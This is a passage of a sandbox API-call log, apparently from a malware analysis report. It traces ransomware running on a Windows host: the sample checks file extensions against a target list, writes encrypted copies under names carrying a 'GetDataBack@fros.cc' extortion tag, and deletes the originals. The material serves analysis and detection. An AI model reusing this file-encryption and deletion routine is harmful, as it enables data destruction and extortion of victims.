lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".bz2") returned 4 [0114.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".7z") returned 3 [0114.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.371] lstrlenW (lpString=".dbf") returned 4 [0114.371] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.371] lstrlenW (lpString=".1cd") returned 4 [0114.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.371] lstrlenW (lpString=".jpg") returned 4 [0114.371] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.371] lstrlenW (lpString=".doc") returned 4 [0114.371] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".docx") returned 5 [0114.371] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.371] lstrlenW (lpString=".pdf") returned 4 [0114.371] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".xls") returned 4 [0114.371] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".xlsx") returned 5 [0114.371] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.371] lstrlenW (lpString=".ppt") returned 4 [0114.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.372] lstrlenW (lpString=".zip") returned 4 [0114.372] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.372] lstrlenW (lpString=".rar") returned 4 [0114.372] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.372] lstrlenW (lpString=".bz2") returned 4 [0114.372] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.372] lstrlenW (lpString=".7z") returned 3 [0114.372] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.372] lstrlenW (lpString=".dbf") returned 4 [0114.372] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.372] lstrlenW (lpString=".1cd") returned 4 [0114.372] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.372] lstrlenW (lpString=".jpg") returned 4 [0114.372] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.372] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.372] lstrlenW (lpString="Setup.xml") returned 9 [0114.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.372] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1608) returned 1 [0114.372] CloseHandle (hObject=0x164) returned 1 [0114.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0114.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.373] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.373] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.373] GetLastError () returned 0x0 [0114.373] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x648, lpOverlapped=0x0) returned 1 [0114.374] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x650, lpOverlapped=0x0) returned 1 [0114.375] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0114.375] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0114.375] SetEndOfFile (hFile=0x15c) returned 1 [0114.375] CloseHandle (hObject=0x15c) returned 1 [0114.376] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.376] SetEndOfFile (hFile=0x164) returned 1 [0114.376] CloseHandle (hObject=0x164) returned 1 [0114.377] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.377] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0114.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.377] lstrlenW (lpString=".doc") returned 4 [0114.377] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.377] lstrlenW (lpString=".docx") returned 5 [0114.377] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.377] lstrlenW (lpString=".pdf") returned 4 [0114.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.377] lstrlenW (lpString=".xls") returned 4 [0114.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.377] lstrlenW (lpString=".xlsx") returned 5 [0114.377] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.377] lstrlenW (lpString=".ppt") returned 4 [0114.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.377] lstrlenW (lpString=".zip") returned 4 [0114.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.377] lstrlenW (lpString=".rar") returned 4 [0114.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.377] lstrlenW (lpString=".bz2") returned 4 [0114.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.377] lstrlenW (lpString=".7z") returned 3 [0114.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.377] lstrlenW (lpString=".dbf") returned 4 [0114.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.377] lstrlenW (lpString=".1cd") returned 4 [0114.378] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.378] lstrlenW (lpString=".jpg") returned 4 [0114.378] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.378] lstrlenW (lpString=".doc") returned 4 [0114.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString=".docx") returned 5 [0114.378] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.378] lstrlenW (lpString=".pdf") returned 4 [0114.378] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString=".xls") returned 4 [0114.378] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString=".xlsx") returned 5 [0114.378] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.378] lstrlenW (lpString=".ppt") returned 4 [0114.378] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.378] lstrlenW (lpString=".zip") returned 4 [0114.378] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.378] lstrlenW (lpString=".rar") returned 4 [0114.378] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString=".bz2") returned 4 [0114.378] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString=".7z") returned 3 [0114.378] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.378] lstrlenW (lpString=".dbf") returned 4 [0114.378] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.378] lstrlenW (lpString=".1cd") returned 4 [0114.378] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.378] lstrlenW (lpString=".jpg") returned 4 [0114.378] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.378] Sleep (dwMilliseconds=0x64) [0114.653] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.653] lstrlenW (lpString="Setup.xml") returned 9 [0114.653] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0114.654] GetFileSizeEx (in: hFile=0x170, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=4207) returned 1 [0114.654] CloseHandle (hObject=0x170) returned 1 [0114.655] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0114.655] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.655] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0114.655] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.655] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.655] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0114.655] GetLastError () returned 0x0 [0114.655] ReadFile (in: hFile=0x170, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x106f, lpOverlapped=0x0) returned 1 [0114.658] WriteFile (in: hFile=0x174, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x1070, lpOverlapped=0x0) returned 1 [0114.659] ReadFile (in: hFile=0x170, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0114.659] WriteFile (in: hFile=0x174, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0114.660] SetEndOfFile (hFile=0x174) returned 1 [0114.660] CloseHandle (hObject=0x174) returned 1 [0114.660] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.660] SetEndOfFile (hFile=0x170) returned 1 [0114.661] CloseHandle (hObject=0x170) returned 1 [0114.661] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.662] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0114.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.662] lstrlenW (lpString=".doc") returned 4 [0114.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.662] lstrlenW (lpString=".docx") returned 5 [0114.662] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.662] lstrlenW (lpString=".pdf") returned 4 [0114.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.662] lstrlenW (lpString=".xls") returned 4 [0114.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.662] lstrlenW (lpString=".xlsx") returned 5 [0114.663] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.663] lstrlenW (lpString=".ppt") returned 4 [0114.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.663] lstrlenW (lpString=".zip") returned 4 [0114.663] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.663] lstrlenW (lpString=".rar") returned 4 [0114.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString=".bz2") returned 4 [0114.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString=".7z") returned 3 [0114.663] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.663] lstrlenW (lpString=".dbf") returned 4 [0114.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.663] lstrlenW (lpString=".1cd") returned 4 [0114.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.663] lstrlenW (lpString=".jpg") returned 4 [0114.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.663] lstrlenW (lpString=".doc") returned 4 [0114.663] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString=".docx") returned 5 [0114.663] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.663] lstrlenW (lpString=".pdf") returned 4 [0114.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString=".xls") returned 4 [0114.663] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.663] lstrlenW (lpString=".xlsx") returned 5 [0114.663] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.664] lstrlenW (lpString=".ppt") returned 4 [0114.664] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.664] lstrlenW (lpString=".zip") returned 4 [0114.664] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.664] lstrlenW (lpString=".rar") returned 4 [0114.664] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.664] lstrlenW (lpString=".bz2") returned 4 [0114.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.664] lstrlenW (lpString=".7z") returned 3 [0114.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.664] lstrlenW (lpString=".dbf") returned 4 [0114.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.664] lstrlenW (lpString=".1cd") returned 4 [0114.664] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.664] lstrlenW (lpString=".jpg") returned 4 [0114.664] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.664] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.664] lstrlenW (lpString="WordMUI.xml") returned 11 [0114.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0114.666] GetFileSizeEx (in: hFile=0x170, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1800) returned 1 [0114.666] CloseHandle (hObject=0x170) returned 1 [0114.666] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0114.666] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0114.666] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.666] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0114.667] GetLastError () returned 0x0 [0114.667] ReadFile (in: hFile=0x170, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x708, lpOverlapped=0x0) returned 1 [0114.668] WriteFile (in: hFile=0x174, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x710, lpOverlapped=0x0) returned 1 [0114.669] ReadFile (in: hFile=0x170, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0114.669] WriteFile (in: hFile=0x174, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0114.669] SetEndOfFile (hFile=0x174) returned 1 [0114.670] CloseHandle (hObject=0x174) returned 1 [0114.670] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.670] SetEndOfFile (hFile=0x170) returned 1 [0114.671] CloseHandle (hObject=0x170) returned 1 [0114.671] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.671] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0114.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.672] lstrlenW (lpString=".doc") returned 4 [0114.672] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.672] lstrlenW (lpString=".docx") returned 5 [0114.672] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.672] lstrlenW (lpString=".pdf") returned 4 [0114.672] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.672] lstrlenW (lpString=".xls") returned 4 [0114.672] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.672] lstrlenW (lpString=".xlsx") returned 5 [0114.672] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.672] lstrlenW (lpString=".ppt") returned 4 [0114.672] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.672] lstrlenW (lpString=".zip") returned 4 [0114.672] lstrcmpiW (lpString1=".zip", 